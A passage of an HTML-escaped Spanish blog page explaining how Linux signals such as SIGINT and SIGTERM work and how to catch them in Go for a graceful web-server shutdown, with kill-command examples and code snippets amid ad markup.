column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Linux puede pedirle &amp;ldquo;amablemente&amp;rdquo; a las aplicaciones los recursos que les prestó o &amp;ldquo;arrebatárselos&amp;rdquo; por la fuerza. Para lo anterior, Linux envía una serie de señales (signals) a la aplicación, algunas de las cuales pueden ser capturadas y manejadas por la misma aplicación, con código en Go.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1743294302/coffee-bytes/linux-kill-9-shutdown-meme_rb0mqw.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1743294302/coffee-bytes/linux-kill-9-shutdown-meme_rb0mqw.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;&amp;#34;Linux terminará una aplicación de manera amable usando la señal SIGKILL&amp;#34;&#34; width=&#34;619&#34; height=&#34;551&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Linux terminará una aplicación de manera amable usando la señal SIGKILL&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;senales-de-linux-principales&#34;&gt;Señales de Linux principales&lt;/h3&gt;&#xA;&lt;p&gt;Las señales de Linux son bastantes, pero te dejo aquí las más importantes para este ejemplo:&lt;/p&gt;&#xA;&lt;table&gt;&#xA;  &lt;thead&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;th&gt;Señal&lt;/th&gt;&#xA;          &lt;th&gt;Valor&lt;/th&gt;&#xA;          &lt;th&gt;Accion&lt;/th&gt;&#xA;          &lt;th&gt;Comentario&lt;/th&gt;&#xA;          &lt;th&gt;Comando&lt;/th&gt;&#xA;          &lt;th&gt;Atajo de Teclado&lt;/th&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/thead&gt;&#xA;  &lt;tbody&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;SIGINT&lt;/td&gt;&#xA;          &lt;td&gt;2&lt;/td&gt;&#xA;          &lt;td&gt;Term&lt;/td&gt;&#xA;          &lt;td&gt;Interrupción procedente del teclado&lt;/td&gt;&#xA;          &lt;td&gt;kill -2 pid&lt;/td&gt;&#xA;          &lt;td&gt;CTRL+C&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;SIGQUIT&lt;/td&gt;&#xA;          &lt;td&gt;3&lt;/td&gt;&#xA;          &lt;td&gt;Core&lt;/td&gt;&#xA;          &lt;td&gt;Terminarción procedente del teclado&lt;/td&gt;&#xA;          &lt;td&gt;kill -3 pid&lt;/td&gt;&#xA;          &lt;td&gt;CTRL+\&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;SIGTERM&lt;/td&gt;&#xA;          &lt;td&gt;15&lt;/td&gt;&#xA;          &lt;td&gt;Term&lt;/td&gt;&#xA;          &lt;td&gt;Terminar un proceso de una manera controlada&lt;/td&gt;&#xA;          &lt;td&gt;kill -15 pid&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;SIGKILL&lt;/td&gt;&#xA;          &lt;td&gt;9&lt;/td&gt;&#xA;          &lt;td&gt;Term&lt;/td&gt;&#xA;          &lt;td&gt;Terminar un proceso de manera forzosa, no puede manejarse por&lt;/td&gt;&#xA;          &lt;td&gt;kill -9 pid&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;p&gt;En Linux, estas señales pueden mandarse a una aplicación por medio del &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/linux/comandos-basicos-de-linux-printenv-export-lsof-top-ps-kill-curl-systemctl-chown-chroot/#kill&#34;&gt;comando kill&lt;/a&gt;&#xA;, especificando el valor de la señal y el pid de la aplicación.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;kill &lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;&amp;lt;valor&amp;gt; &amp;lt;pid&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// kill -2 1234&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;manejo-de-senales-o-signals-en-go&#34;&gt;Manejo de señales o signals en Go&lt;/h2&gt;&#xA;&lt;p&gt;En go, cuando queremos escuchar las señales que envía el kernel de Linux, usamos el método Notify del paquete signal. El método Notify mandará nuestro signal por un canal, el cual recibirá como primer argumento. El segundo y el tercer argumento son las señales que escuchará nuestro método.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;gracefulShutdown&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    quit &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;make&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;chan&lt;/span&gt; os.Signal, &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    signal.&lt;span style=&#34;color:#57c7ff&#34;&gt;Notify&lt;/span&gt;(quit, syscall.SIGINT, syscall.SIGTERM)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;// ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;manejando-los-signals-con-canales-o-channels&#34;&gt;Manejando los signals con canales o channels&lt;/h3&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Ahora tenemos un canal que recibe nuestra señal, pero&amp;hellip; ¿qué hacemos con ella?&lt;/p&gt;&#xA;&lt;p&gt;¿Recuerdas que, en go, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/go-channels-entendiendo-los-deadlocks-o-puntos-muertos/&#34;&gt;las operaciones que mandan o reciben valores de canales son bloqueantes dentro de su propia goroutine&lt;/a&gt;&#xA;, es decir, mantienen la ejecución del código en espera?&lt;/p&gt;&#xA;&lt;p&gt;Pues en este caso vamos a dejar una variable esperado por el valos del canal que acabamos de crear, bloqueando el código en ese punto.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;gracefulShutdown&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    quit &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;make&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;chan&lt;/span&gt; os.Signal, &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    signal.&lt;span style=&#34;color:#57c7ff&#34;&gt;Notify&lt;/span&gt;(quit, syscall.SIGINT, syscall.SIGTERM)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    s &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;-&lt;/span&gt;quit&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Cerrando aplicación&amp;#34;&lt;/span&gt;, s)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;// ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;De esta manera la aplicación se quedará esperando hasta recibir cualquier señal (SIGINT o SIGTERM) por parte de Linux y, una vez que la reciba, ejecutará el resto del código de la función.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;gracefulShutdown&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;quit &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;make&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;chan&lt;/span&gt; os.Signal, &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;signal.&lt;span style=&#34;color:#57c7ff&#34;&gt;Notify&lt;/span&gt;(quit, syscall.SIGINT, syscall.SIGTERM)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;s &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;-&lt;/span&gt;quit&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Cerrando aplicación&amp;#34;&lt;/span&gt;, s)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#78787e&#34;&gt;// ... resto del código&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Por último, para que esta función se ejecute correctamente, necesitamos que se ejecute dentro de su &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/go-introduccion-a-las-goroutines-y-concurrencia/&#34;&gt;propia goroutine&lt;/a&gt;&#xA;. Para lo cual basta con anteponer la palabra clave go a la llamada de la función.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;main&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;// ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;go&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;gracefulShutdown&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;// ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;capturando-una-senal-signit&#34;&gt;Capturando una señal SIGNIT&lt;/h3&gt;&#xA;&lt;p&gt;Si ejecutamos un servidor web o cualquier otro proceso permanente y luego emitimos una señal SIGNIT, presionando CTRL + C en la terminal o con el comando kill, linux recibirá la señal y le notificará a nuestra aplicación que debe cerrarse.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;go run main.go&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Empezando el servidor. Pid: &lt;span style=&#34;color:#ff9f43&#34;&gt;8830&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;kill&lt;/span&gt; -2 &lt;span style=&#34;color:#ff9f43&#34;&gt;8830&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Cerrando el servidor: interrupt&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Considera que el Pid puede ser diferente para ti.&lt;/p&gt;&#xA;&lt;h3 id=&#34;capturando-una-senal-sigterm&#34;&gt;Capturando una señal SIGTERM&lt;/h3&gt;&#xA;&lt;p&gt;Para emitir una señal SIGTERM, ejecutamos el comando kill de GNU/Linux, este se encargará de terminar la aplicación. Nuestra aplicación recibirá la señal a través del canal y ejecutará el resto del código.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;go run main.go&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Empezando el servidor. Pid: &lt;span style=&#34;color:#ff9f43&#34;&gt;9619&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;kill&lt;/span&gt; -15 &lt;span style=&#34;color:#ff9f43&#34;&gt;9616&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Cerrando el servidor: terminated&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Por supuesto que lo ideal es que vayas más allá de imprimir un mensaje y te encargues de todas aquellas tareas que quieres pendientes que requieren una proceso de finalización más ordenado.&lt;/p&gt;&#xA;&lt;h2 id=&#34;ejemplo-de-apagado-elegante-con-un-servidor-web&#34;&gt;Ejemplo de apagado elegante con un servidor web&lt;/h2&gt;&#xA;&lt;p&gt;Te dejo el ejemplo completo con un servidor web escrito totalmente en go.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;package&lt;/span&gt; main&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;fmt&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;log&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;net/http&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;os&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;os/signal&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;syscall&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;getRoot&lt;/span&gt;(w http.ResponseWriter, r &lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;http.Request) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#78787e&#34;&gt;//io.WriteString(w, &amp;#34;This is my website!\n&amp;#34;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;w.&lt;span style=&#34;color:#57c7ff&#34;&gt;Write&lt;/span&gt;([]&lt;span style=&#34;color:#ff5c57&#34;&gt;byte&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Este es mi sitio web!\n&amp;#34;&lt;/span&gt;))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;gracefulShutdown&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;quit &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;make&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;chan&lt;/span&gt; os.Signal, &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;signal.&lt;span style=&#34;color:#57c7ff&#34;&gt;Notify&lt;/span&gt;(quit, syscall.SIGINT, syscall.SIGTERM)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;s &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span 